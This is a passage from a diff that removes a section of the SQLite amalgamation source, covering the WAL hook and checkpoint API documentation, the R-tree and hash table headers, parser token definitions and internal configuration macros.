so -** is considered bad form. -** -** The zFormat string must not be NULL. -** -** To avoid deadlocks and other threading problems, the sqlite3_log() routine -** will not use dynamically allocated memory. The log message is stored in -** a fixed-length buffer on the stack. If the log message is longer than -** a few hundred characters, it will be truncated to the length of the -** buffer. -*/ -SQLITE_API void sqlite3_log(int iErrCode, const char *zFormat, ...); - -/* -** CAPI3REF: Write-Ahead Log Commit Hook -** -** ^The [sqlite3_wal_hook()] function is used to register a callback that -** will be invoked each time a database connection commits data to a -** [write-ahead log] (i.e. whenever a transaction is committed in -** [journal_mode | journal_mode=WAL mode]). -** -** ^The callback is invoked by SQLite after the commit has taken place and -** the associated write-lock on the database released, so the implementation -** may read, write or [checkpoint] the database as required. -** -** ^The first parameter passed to the callback function when it is invoked -** is a copy of the third parameter passed to sqlite3_wal_hook() when -** registering the callback. ^The second is a copy of the database handle. -** ^The third parameter is the name of the database that was written to - -** either "main" or the name of an [ATTACH]-ed database. ^The fourth parameter -** is the number of pages currently in the write-ahead log file, -** including those that were just committed. -** -** The callback function should normally return [SQLITE_OK]. ^If an error -** code is returned, that error will propagate back up through the -** SQLite code base to cause the statement that provoked the callback -** to report an error, though the commit will have still occurred. If the -** callback returns [SQLITE_ROW] or [SQLITE_DONE], or if it returns a value -** that does not correspond to any valid SQLite error code, the results -** are undefined. -** -** A single database handle may have at most a single write-ahead log callback -** registered at one time. ^Calling [sqlite3_wal_hook()] replaces any -** previously registered write-ahead log callback. ^Note that the -** [sqlite3_wal_autocheckpoint()] interface and the -** [wal_autocheckpoint pragma] both invoke [sqlite3_wal_hook()] and will -** those overwrite any prior [sqlite3_wal_hook()] settings. -*/ -SQLITE_API void *sqlite3_wal_hook( - sqlite3*, - int(*)(void *,sqlite3*,const char*,int), - void* -); - -/* -** CAPI3REF: Configure an auto-checkpoint -** -** ^The [sqlite3_wal_autocheckpoint(D,N)] is a wrapper around -** [sqlite3_wal_hook()] that causes any database on [database connection] D -** to automatically [checkpoint] -** after committing a transaction if there are N or -** more frames in the [write-ahead log] file. ^Passing zero or -** a negative value as the nFrame parameter disables automatic -** checkpoints entirely. -** -** ^The callback registered by this function replaces any existing callback -** registered using [sqlite3_wal_hook()]. ^Likewise, registering a callback -** using [sqlite3_wal_hook()] disables the automatic checkpoint mechanism -** configured by this function. -** -** ^The [wal_autocheckpoint pragma] can be used to invoke this interface -** from SQL. -** -** ^Every new [database connection] defaults to having the auto-checkpoint -** enabled with a threshold of 1000 or [SQLITE_DEFAULT_WAL_AUTOCHECKPOINT] -** pages. The use of this interface -** is only necessary if the default setting is found to be suboptimal -** for a particular application. -*/ -SQLITE_API int sqlite3_wal_autocheckpoint(sqlite3 *db, int N); - -/* -** CAPI3REF: Checkpoint a database -** -** ^The [sqlite3_wal_checkpoint(D,X)] interface causes database named X -** on [database connection] D to be [checkpointed]. ^If X is NULL or an -** empty string, then a checkpoint is run on all databases of -** connection D. ^If the database connection D is not in -** [WAL | write-ahead log mode] then this interface is a harmless no-op. -** -** ^The [wal_checkpoint pragma] can be used to invoke this interface -** from SQL. ^The [sqlite3_wal_autocheckpoint()] interface and the -** [wal_autocheckpoint pragma] can be used to cause this interface to be -** run whenever the WAL reaches a certain size threshold. -** -** See also: [sqlite3_wal_checkpoint_v2()] -*/ -SQLITE_API int sqlite3_wal_checkpoint(sqlite3 *db, const char *zDb); - -/* -** CAPI3REF: Checkpoint a database -** -** Run a checkpoint operation on WAL database zDb attached to database -** handle db. The specific operation is determined by the value of the -** eMode parameter: -** -**
-**
SQLITE_CHECKPOINT_PASSIVE
-** Checkpoint as many frames as possible without waiting for any database -** readers or writers to finish. Sync the db file if all frames in the log -** are checkpointed. This mode is the same as calling -** sqlite3_wal_checkpoint(). The busy-handler callback is never invoked. -** -**
SQLITE_CHECKPOINT_FULL
-** This mode blocks (calls the busy-handler callback) until there is no -** database writer and all readers are reading from the most recent database -** snapshot. It then checkpoints all frames in the log file and syncs the -** database file. This call blocks database writers while it is running, -** but not database readers. -** -**
SQLITE_CHECKPOINT_RESTART
-** This mode works the same way as SQLITE_CHECKPOINT_FULL, except after -** checkpointing the log file it blocks (calls the busy-handler callback) -** until all readers are reading from the database file only. This ensures -** that the next client to write to the database file restarts the log file -** from the beginning. This call blocks database writers while it is running, -** but not database readers. -**
-** -** If pnLog is not NULL, then *pnLog is set to the total number of frames in -** the log file before returning. If pnCkpt is not NULL, then *pnCkpt is set to -** the total number of checkpointed frames (including any that were already -** checkpointed when this function is called). *pnLog and *pnCkpt may be -** populated even if sqlite3_wal_checkpoint_v2() returns other than SQLITE_OK. -** If no values are available because of an error, they are both set to -1 -** before returning to communicate this to the caller. -** -** All calls obtain an exclusive "checkpoint" lock on the database file. If -** any other process is running a checkpoint operation at the same time, the -** lock cannot be obtained and SQLITE_BUSY is returned. Even if there is a -** busy-handler configured, it will not be invoked in this case. -** -** The SQLITE_CHECKPOINT_FULL and RESTART modes also obtain the exclusive -** "writer" lock on the database file. If the writer lock cannot be obtained -** immediately, and a busy-handler is configured, it is invoked and the writer -** lock retried until either the busy-handler returns 0 or the lock is -** successfully obtained. The busy-handler is also invoked while waiting for -** database readers as described above. If the busy-handler returns 0 before -** the writer lock is obtained or while waiting for database readers, the -** checkpoint operation proceeds from that point in the same way as -** SQLITE_CHECKPOINT_PASSIVE - checkpointing as many frames as possible -** without blocking any further. SQLITE_BUSY is returned in this case. -** -** If parameter zDb is NULL or points to a zero length string, then the -** specified operation is attempted on all WAL databases. In this case the -** values written to output parameters *pnLog and *pnCkpt are undefined. If -** an SQLITE_BUSY error is encountered when processing one or more of the -** attached WAL databases, the operation is still attempted on any remaining -** attached databases and SQLITE_BUSY is returned to the caller. If any other -** error occurs while processing an attached database, processing is abandoned -** and the error code returned to the caller immediately. If no error -** (SQLITE_BUSY or otherwise) is encountered while processing the attached -** databases, SQLITE_OK is returned. -** -** If database zDb is the name of an attached database that is not in WAL -** mode, SQLITE_OK is returned and both *pnLog and *pnCkpt set to -1. If -** zDb is not NULL (or a zero length string) and is not the name of any -** attached database, SQLITE_ERROR is returned to the caller. -*/ -SQLITE_API int sqlite3_wal_checkpoint_v2( - sqlite3 *db, /* Database handle */ - const char *zDb, /* Name of attached database (or NULL) */ - int eMode, /* SQLITE_CHECKPOINT_* value */ - int *pnLog, /* OUT: Size of WAL log in frames */ - int *pnCkpt /* OUT: Total number of frames checkpointed */ -); - -/* -** CAPI3REF: Checkpoint operation parameters -** -** These constants can be used as the 3rd parameter to -** [sqlite3_wal_checkpoint_v2()]. See the [sqlite3_wal_checkpoint_v2()] -** documentation for additional information about the meaning and use of -** each of these values. -*/ -#define SQLITE_CHECKPOINT_PASSIVE 0 -#define SQLITE_CHECKPOINT_FULL 1 -#define SQLITE_CHECKPOINT_RESTART 2 - -/* -** CAPI3REF: Virtual Table Interface Configuration -** -** This function may be called by either the [xConnect] or [xCreate] method -** of a [virtual table] implementation to configure -** various facets of the virtual table interface. -** -** If this interface is invoked outside the context of an xConnect or -** xCreate virtual table method then the behavior is undefined. -** -** At present, there is only one option that may be configured using -** this function. (See [SQLITE_VTAB_CONSTRAINT_SUPPORT].) Further options -** may be added in the future. -*/ -SQLITE_API int sqlite3_vtab_config(sqlite3*, int op, ...); - -/* -** CAPI3REF: Virtual Table Configuration Options -** -** These macros define the various options to the -** [sqlite3_vtab_config()] interface that [virtual table] implementations -** can use to customize and optimize their behavior. -** -**
-**
SQLITE_VTAB_CONSTRAINT_SUPPORT -**
Calls of the form -** [sqlite3_vtab_config](db,SQLITE_VTAB_CONSTRAINT_SUPPORT,X) are supported, -** where X is an integer. If X is zero, then the [virtual table] whose -** [xCreate] or [xConnect] method invoked [sqlite3_vtab_config()] does not -** support constraints. In this configuration (which is the default) if -** a call to the [xUpdate] method returns [SQLITE_CONSTRAINT], then the entire -** statement is rolled back as if [ON CONFLICT | OR ABORT] had been -** specified as part of the users SQL statement, regardless of the actual -** ON CONFLICT mode specified. -** -** If X is non-zero, then the virtual table implementation guarantees -** that if [xUpdate] returns [SQLITE_CONSTRAINT], it will do so before -** any modifications to internal or persistent data structures have been made. -** If the [ON CONFLICT] mode is ABORT, FAIL, IGNORE or ROLLBACK, SQLite -** is able to roll back a statement or database transaction, and abandon -** or continue processing the current SQL statement as appropriate. -** If the ON CONFLICT mode is REPLACE and the [xUpdate] method returns -** [SQLITE_CONSTRAINT], SQLite handles this as if the ON CONFLICT mode -** had been ABORT. -** -** Virtual table implementations that are required to handle OR REPLACE -** must do so within the [xUpdate] method. If a call to the -** [sqlite3_vtab_on_conflict()] function indicates that the current ON -** CONFLICT policy is REPLACE, the virtual table implementation should -** silently replace the appropriate rows within the xUpdate callback and -** return SQLITE_OK. Or, if this is not possible, it may return -** SQLITE_CONSTRAINT, in which case SQLite falls back to OR ABORT -** constraint handling. -**
-*/ -#define SQLITE_VTAB_CONSTRAINT_SUPPORT 1 - -/* -** CAPI3REF: Determine The Virtual Table Conflict Policy -** -** This function may only be called from within a call to the [xUpdate] method -** of a [virtual table] implementation for an INSERT or UPDATE operation. ^The -** value returned is one of [SQLITE_ROLLBACK], [SQLITE_IGNORE], [SQLITE_FAIL], -** [SQLITE_ABORT], or [SQLITE_REPLACE], according to the [ON CONFLICT] mode -** of the SQL statement that triggered the call to the [xUpdate] method of the -** [virtual table]. -*/ -SQLITE_API int sqlite3_vtab_on_conflict(sqlite3 *); - -/* -** CAPI3REF: Conflict resolution modes -** -** These constants are returned by [sqlite3_vtab_on_conflict()] to -** inform a [virtual table] implementation what the [ON CONFLICT] mode -** is for the SQL statement being evaluated. -** -** Note that the [SQLITE_IGNORE] constant is also used as a potential -** return value from the [sqlite3_set_authorizer()] callback and that -** [SQLITE_ABORT] is also a [result code]. -*/ -#define SQLITE_ROLLBACK 1 -/* #define SQLITE_IGNORE 2 // Also used by sqlite3_authorizer() callback */ -#define SQLITE_FAIL 3 -/* #define SQLITE_ABORT 4 // Also an error code */ -#define SQLITE_REPLACE 5 - - - -/* -** Undo the hack that converts floating point types to integer for -** builds on processors without floating point support. -*/ -#ifdef SQLITE_OMIT_FLOATING_POINT -# undef double -#endif - -#if 0 -} /* End of the 'extern "C"' block */ -#endif -#endif - -/* -** 2010 August 30 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -*/ - -#ifndef _SQLITE3RTREE_H_ -#define _SQLITE3RTREE_H_ - - -#if 0 -extern "C" { -#endif - -typedef struct sqlite3_rtree_geometry sqlite3_rtree_geometry; - -/* -** Register a geometry callback named zGeom that can be used as part of an -** R-Tree geometry query as follows: -** -** SELECT ... FROM WHERE MATCH $zGeom(... params ...) -*/ -SQLITE_API int sqlite3_rtree_geometry_callback( - sqlite3 *db, - const char *zGeom, -#ifdef SQLITE_RTREE_INT_ONLY - int (*xGeom)(sqlite3_rtree_geometry*, int n, sqlite3_int64 *a, int *pRes), -#else - int (*xGeom)(sqlite3_rtree_geometry*, int n, double *a, int *pRes), -#endif - void *pContext -); - - -/* -** A pointer to a structure of the following type is passed as the first -** argument to callbacks registered using rtree_geometry_callback(). -*/ -struct sqlite3_rtree_geometry { - void *pContext; /* Copy of pContext passed to s_r_g_c() */ - int nParam; /* Size of array aParam[] */ - double *aParam; /* Parameters passed to SQL geom function */ - void *pUser; /* Callback implementation user data */ - void (*xDelUser)(void *); /* Called by SQLite to clean up pUser */ -}; - - -#if 0 -} /* end of the 'extern "C"' block */ -#endif - -#endif /* ifndef _SQLITE3RTREE_H_ */ - - -/************** End of sqlite3.h *********************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ -/************** Include hash.h in the middle of sqliteInt.h ******************/ -/************** Begin file hash.h ********************************************/ -/* -** 2001 September 22 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** This is the header file for the generic hash-table implementation -** used in SQLite. -*/ -#ifndef _SQLITE_HASH_H_ -#define _SQLITE_HASH_H_ - -/* Forward declarations of structures. */ -typedef struct Hash Hash; -typedef struct HashElem HashElem; - -/* A complete hash table is an instance of the following structure. -** The internals of this structure are intended to be opaque -- client -** code should not attempt to access or modify the fields of this structure -** directly. Change this structure only by using the routines below. -** However, some of the "procedures" and "functions" for modifying and -** accessing this structure are really macros, so we can't really make -** this structure opaque. -** -** All elements of the hash table are on a single doubly-linked list. -** Hash.first points to the head of this list. -** -** There are Hash.htsize buckets. Each bucket points to a spot in -** the global doubly-linked list. The contents of the bucket are the -** element pointed to plus the next _ht.count-1 elements in the list. -** -** Hash.htsize and Hash.ht may be zero. In that case lookup is done -** by a linear search of the global list. For small tables, the -** Hash.ht table is never allocated because if there are few elements -** in the table, it is faster to do a linear search than to manage -** the hash table. -*/ -struct Hash { - unsigned int htsize; /* Number of buckets in the hash table */ - unsigned int count; /* Number of entries in this table */ - HashElem *first; /* The first element of the array */ - struct _ht { /* the hash table */ - int count; /* Number of entries with this hash */ - HashElem *chain; /* Pointer to first entry with this hash */ - } *ht; -}; - -/* Each element in the hash table is an instance of the following -** structure. All elements are stored on a single doubly-linked list. -** -** Again, this structure is intended to be opaque, but it can't really -** be opaque because it is used by macros. -*/ -struct HashElem { - HashElem *next, *prev; /* Next and previous elements in the table */ - void *data; /* Data associated with this element */ - const char *pKey; int nKey; /* Key associated with this element */ -}; - -/* -** Access routines. To delete, insert a NULL pointer. -*/ -SQLITE_PRIVATE void sqlite3HashInit(Hash*); -SQLITE_PRIVATE void *sqlite3HashInsert(Hash*, const char *pKey, int nKey, void *pData); -SQLITE_PRIVATE void *sqlite3HashFind(const Hash*, const char *pKey, int nKey); -SQLITE_PRIVATE void sqlite3HashClear(Hash*); - -/* -** Macros for looping over all elements of a hash table. The idiom is -** like this: -** -** Hash h; -** HashElem *p; -** ... -** for(p=sqliteHashFirst(&h); p; p=sqliteHashNext(p)){ -** SomeStructure *pData = sqliteHashData(p); -** // do something with pData -** } -*/ -#define sqliteHashFirst(H) ((H)->first) -#define sqliteHashNext(E) ((E)->next) -#define sqliteHashData(E) ((E)->data) -/* #define sqliteHashKey(E) ((E)->pKey) // NOT USED */ -/* #define sqliteHashKeysize(E) ((E)->nKey) // NOT USED */ - -/* -** Number of entries in a hash table -*/ -/* #define sqliteHashCount(H) ((H)->count) // NOT USED */ - -#endif /* _SQLITE_HASH_H_ */ - -/************** End of hash.h ************************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ -/************** Include parse.h in the middle of sqliteInt.h *****************/ -/************** Begin file parse.h *******************************************/ -#define TK_SEMI 1 -#define TK_EXPLAIN 2 -#define TK_QUERY 3 -#define TK_PLAN 4 -#define TK_BEGIN 5 -#define TK_TRANSACTION 6 -#define TK_DEFERRED 7 -#define TK_IMMEDIATE 8 -#define TK_EXCLUSIVE 9 -#define TK_COMMIT 10 -#define TK_END 11 -#define TK_ROLLBACK 12 -#define TK_SAVEPOINT 13 -#define TK_RELEASE 14 -#define TK_TO 15 -#define TK_TABLE 16 -#define TK_CREATE 17 -#define TK_IF 18 -#define TK_NOT 19 -#define TK_EXISTS 20 -#define TK_TEMP 21 -#define TK_LP 22 -#define TK_RP 23 -#define TK_AS 24 -#define TK_COMMA 25 -#define TK_ID 26 -#define TK_INDEXED 27 -#define TK_ABORT 28 -#define TK_ACTION 29 -#define TK_AFTER 30 -#define TK_ANALYZE 31 -#define TK_ASC 32 -#define TK_ATTACH 33 -#define TK_BEFORE 34 -#define TK_BY 35 -#define TK_CASCADE 36 -#define TK_CAST 37 -#define TK_COLUMNKW 38 -#define TK_CONFLICT 39 -#define TK_DATABASE 40 -#define TK_DESC 41 -#define TK_DETACH 42 -#define TK_EACH 43 -#define TK_FAIL 44 -#define TK_FOR 45 -#define TK_IGNORE 46 -#define TK_INITIALLY 47 -#define TK_INSTEAD 48 -#define TK_LIKE_KW 49 -#define TK_MATCH 50 -#define TK_NO 51 -#define TK_KEY 52 -#define TK_OF 53 -#define TK_OFFSET 54 -#define TK_PRAGMA 55 -#define TK_RAISE 56 -#define TK_REPLACE 57 -#define TK_RESTRICT 58 -#define TK_ROW 59 -#define TK_TRIGGER 60 -#define TK_VACUUM 61 -#define TK_VIEW 62 -#define TK_VIRTUAL 63 -#define TK_REINDEX 64 -#define TK_RENAME 65 -#define TK_CTIME_KW 66 -#define TK_ANY 67 -#define TK_OR 68 -#define TK_AND 69 -#define TK_IS 70 -#define TK_BETWEEN 71 -#define TK_IN 72 -#define TK_ISNULL 73 -#define TK_NOTNULL 74 -#define TK_NE 75 -#define TK_EQ 76 -#define TK_GT 77 -#define TK_LE 78 -#define TK_LT 79 -#define TK_GE 80 -#define TK_ESCAPE 81 -#define TK_BITAND 82 -#define TK_BITOR 83 -#define TK_LSHIFT 84 -#define TK_RSHIFT 85 -#define TK_PLUS 86 -#define TK_MINUS 87 -#define TK_STAR 88 -#define TK_SLASH 89 -#define TK_REM 90 -#define TK_CONCAT 91 -#define TK_COLLATE 92 -#define TK_BITNOT 93 -#define TK_STRING 94 -#define TK_JOIN_KW 95 -#define TK_CONSTRAINT 96 -#define TK_DEFAULT 97 -#define TK_NULL 98 -#define TK_PRIMARY 99 -#define TK_UNIQUE 100 -#define TK_CHECK 101 -#define TK_REFERENCES 102 -#define TK_AUTOINCR 103 -#define TK_ON 104 -#define TK_INSERT 105 -#define TK_DELETE 106 -#define TK_UPDATE 107 -#define TK_SET 108 -#define TK_DEFERRABLE 109 -#define TK_FOREIGN 110 -#define TK_DROP 111 -#define TK_UNION 112 -#define TK_ALL 113 -#define TK_EXCEPT 114 -#define TK_INTERSECT 115 -#define TK_SELECT 116 -#define TK_DISTINCT 117 -#define TK_DOT 118 -#define TK_FROM 119 -#define TK_JOIN 120 -#define TK_USING 121 -#define TK_ORDER 122 -#define TK_GROUP 123 -#define TK_HAVING 124 -#define TK_LIMIT 125 -#define TK_WHERE 126 -#define TK_INTO 127 -#define TK_VALUES 128 -#define TK_INTEGER 129 -#define TK_FLOAT 130 -#define TK_BLOB 131 -#define TK_REGISTER 132 -#define TK_VARIABLE 133 -#define TK_CASE 134 -#define TK_WHEN 135 -#define TK_THEN 136 -#define TK_ELSE 137 -#define TK_INDEX 138 -#define TK_ALTER 139 -#define TK_ADD 140 -#define TK_TO_TEXT 141 -#define TK_TO_BLOB 142 -#define TK_TO_NUMERIC 143 -#define TK_TO_INT 144 -#define TK_TO_REAL 145 -#define TK_ISNOT 146 -#define TK_END_OF_FILE 147 -#define TK_ILLEGAL 148 -#define TK_SPACE 149 -#define TK_UNCLOSED_STRING 150 -#define TK_FUNCTION 151 -#define TK_COLUMN 152 -#define TK_AGG_FUNCTION 153 -#define TK_AGG_COLUMN 154 -#define TK_CONST_FUNC 155 -#define TK_UMINUS 156 -#define TK_UPLUS 157 - -/************** End of parse.h ***********************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ -#include -#include -#include -#include -#include - -/* -** If compiling for a processor that lacks floating point support, -** substitute integer for floating-point -*/ -#ifdef SQLITE_OMIT_FLOATING_POINT -# define double sqlite_int64 -# define float sqlite_int64 -# define LONGDOUBLE_TYPE sqlite_int64 -# ifndef SQLITE_BIG_DBL -# define SQLITE_BIG_DBL (((sqlite3_int64)1)<<50) -# endif -# define SQLITE_OMIT_DATETIME_FUNCS 1 -# define SQLITE_OMIT_TRACE 1 -# undef SQLITE_MIXED_ENDIAN_64BIT_FLOAT -# undef SQLITE_HAVE_ISNAN -#endif -#ifndef SQLITE_BIG_DBL -# define SQLITE_BIG_DBL (1e99) -#endif - -/* -** OMIT_TEMPDB is set to 1 if SQLITE_OMIT_TEMPDB is defined, or 0 -** afterward. Having this macro allows us to cause the C compiler -** to omit code used by TEMP tables without messy #ifndef statements. -*/ -#ifdef SQLITE_OMIT_TEMPDB -#define OMIT_TEMPDB 1 -#else -#define OMIT_TEMPDB 0 -#endif - -/* -** The "file format" number is an integer that is incremented whenever -** the VDBE-level file format changes. The following macros define the -** the default file format for new databases and the maximum file format -** that the library can read. -*/ -#define SQLITE_MAX_FILE_FORMAT 4 -#ifndef SQLITE_DEFAULT_FILE_FORMAT -# define SQLITE_DEFAULT_FILE_FORMAT 4 -#endif - -/* -** Determine whether triggers are recursive by default. This can be -** changed at run-time using a pragma. -*/ -#ifndef SQLITE_DEFAULT_RECURSIVE_TRIGGERS -# define SQLITE_DEFAULT_RECURSIVE_TRIGGERS 0 -#endif - -/* -** Provide a default value for SQLITE_TEMP_STORE in case it is not specified -** on the command-line -*/ -#ifndef SQLITE_TEMP_STORE -# define SQLITE_TEMP_STORE 1 -# define SQLITE_TEMP_STORE_xc 1 /* Exclude from ctime.c */ -#endif - -/* -** GCC does not define the offsetof() macro so we'll have to do it -** ourselves. -*/ -#ifndef offsetof -#define offsetof(STRUCTURE,FIELD) ((int)((char*)&((STRUCTURE*)0)->FIELD)) -#endif - -/* -** Check to see if this machine uses EBCDIC. (Yes, believe it or -** not, there are still machines out there that use EBCDIC.) -*/ -#if 'A' == '\301' -# define SQLITE_EBCDIC 1 -#else -# define SQLITE_ASCII 1 -#endif - -/* -** Integers of known sizes. These typedefs might change for architectures -** where the sizes very. Preprocessor macros are available so that the -** types can be conveniently redefined at compile-type. Like this: -** -** cc '-DUINTPTR_TYPE=long long int' ... -*/ -#ifndef UINT32_TYPE -# ifdef HAVE_UINT32_T -# define UINT32_TYPE uint32_t -# else -# define UINT32_TYPE unsigned int -# endif -#endif -#ifndef UINT16_TYPE -# ifdef HAVE_UINT16_T -# define UINT16_TYPE uint16_t -# else -# define UINT16_TYPE unsigned short int -# endif -#endif -#ifndef INT16_TYPE -# ifdef HAVE_INT16_T -# define INT16_TYPE int16_t -# else -# define INT16_TYPE short int -# endif -#endif -#ifndef UINT8_TYPE -# ifdef HAVE_UINT8_T -# define UINT8_TYPE uint8_t -# else -# define UINT8_TYPE unsigned char -# endif -#endif -#ifndef INT8_TYPE -# ifdef HAVE_INT8_T -# define INT8_TYPE int8_t -# else -# define INT8_TYPE signed char -# endif -#endif -#ifndef LONGDOUBLE_TYPE -# define LONGDOUBLE_TYPE long double -#endif -typedef sqlite_int64 i64; /* 8-byte signed integer */ -typedef sqlite_uint64 u64; /* 8-byte unsigned integer */ -typedef UINT32_TYPE u32; /* 4-byte unsigned integer */ -typedef UINT16_TYPE u16; /* 2-byte unsigned integer */ -typedef INT16_TYPE i16; /* 2-byte signed integer */ -typedef UINT8_TYPE u8; /* 1-byte unsigned integer */ -typedef INT8_TYPE i8; /* 1-byte signed integer */ - -/* -** SQLITE_MAX_U32 is a u64 constant that is the maximum u64 value -** that can be stored in a u32 without loss of data. The value -** is 0x00000000ffffffff. But because of quirks of some compilers, we -** have to specify the value in the less intuitive manner shown: -*/ -#define SQLITE_MAX_U32 ((((u64)1)<<32)-1) - -/* -** The datatype used to store estimates of the number of rows in a -** table or index. This is an unsigned integer type. For 99.9% of -** the world, a 32-bit integer is sufficient. But a 64-bit integer -** can be used at compile-time if desired. -*/ -#ifdef SQLITE_64BIT_STATS - typedef u64 tRowcnt; /* 64-bit only if requested at compile-time */ -#else - typedef u32 tRowcnt; /* 32-bit is the default */ -#endif - -/* -** Macros to determine whether the machine is big or little endian, -** evaluated at runtime. -*/ -#ifdef SQLITE_AMALGAMATION -SQLITE_PRIVATE const int sqlite3one = 1; -#else -SQLITE_PRIVATE const int sqlite3one; -#endif -#if defined(i386) || defined(__i386__) || defined(_M_IX86)\ - || defined(__x86_64) || defined(__x86_64__) -# define SQLITE_BIGENDIAN 0 -# define SQLITE_LITTLEENDIAN 1 -# define SQLITE_UTF16NATIVE SQLITE_UTF16LE -#else -# define SQLITE_BIGENDIAN (*(char *)(&sqlite3one)==0) -# define SQLITE_LITTLEENDIAN (*(char *)(&sqlite3one)==1) -# define SQLITE_UTF16NATIVE (SQLITE_BIGENDIAN?SQLITE_UTF16BE:SQLITE_UTF16LE) -#endif - -/* -** Constants for the largest and smallest possible 64-bit signed integers. -** These macros are designed to work correctly on both 32-bit and 64-bit -** compilers. -*/ -#define LARGEST_INT64 (0xffffffff|(((i64)0x7fffffff)<<32)) -#define SMALLEST_INT64 (((i64)-1) - LARGEST_INT64) - -/* -** Round up a number to the next larger multiple of 8. This is used -** to force 8-byte alignment on 64-bit architectures. -*/ -#define ROUND8(x) (((x)+7)&~7) - -/* -** Round down to the nearest multiple of 8 -*/ -#define ROUNDDOWN8(x) ((x)&~7) - -/* -** Assert that the pointer X is aligned to an 8-byte boundary. This -** macro is used only within assert() to verify that the code gets -** all alignment restrictions correct. -** -** Except, if SQLITE_4_BYTE_ALIGNED_MALLOC is defined, then the -** underlying malloc() implemention might return us 4-byte aligned -** pointers. In that case, only verify 4-byte alignment. -*/ -#ifdef SQLITE_4_BYTE_ALIGNED_MALLOC -# define EIGHT_BYTE_ALIGNMENT(X) ((((char*)(X) - (char*)0)&3)==0) -#else -# define EIGHT_BYTE_ALIGNMENT(X) ((((char*)(X) - (char*)0)&7)==0) -#endif - -/* -** Disable MMAP on platforms where it is known to not work -*/ -#if defined(__OpenBSD__) || defined(__QNXNTO__) -# undef SQLITE_MAX_MMAP_SIZE -# define SQLITE_MAX_MMAP_SIZE 0 -#endif - -/* -** Default maximum size of memory used by memory-mapped I/O in the VFS -*/ -#ifdef __APPLE__ -# include -# if TARGET_OS_IPHONE -# undef SQLITE_MAX_MMAP_SIZE -# define SQLITE_MAX_MMAP_SIZE 0 -# endif -#endif -#ifndef SQLITE_MAX_MMAP_SIZE -# if defined(__linux__) \ - || defined(_WIN32) \ - || (defined(__APPLE__) && defined(__MACH__)) \ - || defined(__sun) -# define SQLITE_MAX_MMAP_SIZE 0x7fff0000 /* 2147418112 */ -# else -# define SQLITE_MAX_MMAP_SIZE 0 -# endif -# define SQLITE_MAX_MMAP_SIZE_xc 1 /* exclude from ctime.c */ -#endif - -/* -** The default MMAP_SIZE is zero on all platforms. Or, even if a larger -** default MMAP_SIZE is specified at compile-time, make sure that it does -** not exceed the maximum mmap size. -*/ -#ifndef SQLITE_DEFAULT_MMAP_SIZE -# define SQLITE_DEFAULT_MMAP_SIZE 0 -# define SQLITE_DEFAULT_MMAP_SIZE_xc 1 /* Exclude from ctime.c */ -#endif -#if SQLITE_DEFAULT_MMAP_SIZE>SQLITE_MAX_MMAP_SIZE -# undef SQLITE_DEFAULT_MMAP_SIZE -# define SQLITE_DEFAULT_MMAP_SIZE SQLITE_MAX_MMAP_SIZE -#endif - -/* -** An instance of the following structure is used to store the busy-handler -** callback for a given sqlite handle. -** -** The sqlite.busyHandler member of the sqlite struct contains the busy -** callback for the database handle. Each pager opened via the sqlite -** handle is passed a pointer to sqlite.busyHandler. The busy-handler -** callback is currently invoked only from within pager.c. -*/ -typedef struct BusyHandler BusyHandler; -struct BusyHandler { - int (*xFunc)(void *,int); /* The busy callback */ - void *pArg; /* First arg to busy callback */ - int nBusy; /* Incremented with each busy call */ -}; - -/* -** Name of the master database table. The master database table -** is a special table that holds the names and attributes of all -** user tables and indices. -*/ -#define MASTER_NAME "sqlite_master" -#define TEMP_MASTER_NAME "sqlite_temp_master" - -/* -** The root-page of the master database table. -*/ -#define MASTER_ROOT 1 - -/* -** The name of the schema table. -*/ -#define SCHEMA_TABLE(x) ((!OMIT_TEMPDB)&&(x==1)?TEMP_MASTER_NAME:MASTER_NAME) - -/* -** A convenience macro that returns the number of elements in -** an array. -*/ -#define ArraySize(X) ((int)(sizeof(X)/sizeof(X[0]))) - -/* -** Determine if the argument is a power of two -*/ -#define IsPowerOfTwo(X) (((X)&((X)-1))==0) - -/* -** The following value as a destructor means to use sqlite3DbFree(). -** The sqlite3DbFree() routine requires two parameters instead of the -** one parameter that destructors normally want. So we have to introduce -** this magic value that the code knows to handle differently. Any -** pointer will work here as long as it is distinct from SQLITE_STATIC -** and SQLITE_TRANSIENT. -*/ -#define SQLITE_DYNAMIC ((sqlite3_destructor_type)sqlite3MallocSize) - -/* -** When SQLITE_OMIT_WSD is defined, it means that the target platform does -** not support Writable Static Data (WSD) such as global and static variables. -** All variables must either be on the stack or dynamically allocated from -** the heap. When WSD is unsupported, the variable declarations scattered -** throughout the SQLite code must become constants instead. The SQLITE_WSD -** macro is used for this purpose. And instead of referencing the variable -** directly, we use its constant as a key to lookup the run-time allocated -** buffer that holds real variable. The constant is also the initializer -** for the run-time allocated buffer. -** -** In the usual case where WSD is supported, the SQLITE_WSD and GLOBAL -** macros become no-ops and have zero performance impact. -*/ -#ifdef SQLITE_OMIT_WSD - #define SQLITE_WSD const - #define GLOBAL(t,v) (*(t*)sqlite3_wsd_find((void*)&(v), sizeof(v))) - #define sqlite3GlobalConfig GLOBAL(struct Sqlite3Config, sqlite3Config) -SQLITE_API int sqlite3_wsd_init(int N, int J); -SQLITE_API void *sqlite3_wsd_find(void *K, int L); -#else - #define SQLITE_WSD - #define GLOBAL(t,v) v - #define sqlite3GlobalConfig sqlite3Config -#endif - -/* -** The following macros are used to suppress compiler warnings and to -** make it clear to human readers when a function parameter is deliberately -** left unused within the body of a function. This usually happens when -** a function is called via a function pointer. For example the -** implementation of an SQL aggregate step callback may not use the -** parameter indicating the number of arguments passed to the aggregate, -** if it knows that this is enforced elsewhere. -** -** When a function parameter is not used at all within the body of a function, -** it is generally named "NotUsed" or "NotUsed2" to make things even clearer. -** However, these macros may also be used to suppress warnings related to -** parameters that may or may not be used depending on compilation options. -** For example those parameters only used in assert() statements. In these -** cases the parameters are named as per the usual conventions. -*/ -#define UNUSED_PARAMETER(x) (void)(x) -#define UNUSED_PARAMETER2(x,y) UNUSED_PARAMETER(x),UNUSED_PARAMETER(y) - -/* -** Forward references to structures -*/ -typedef 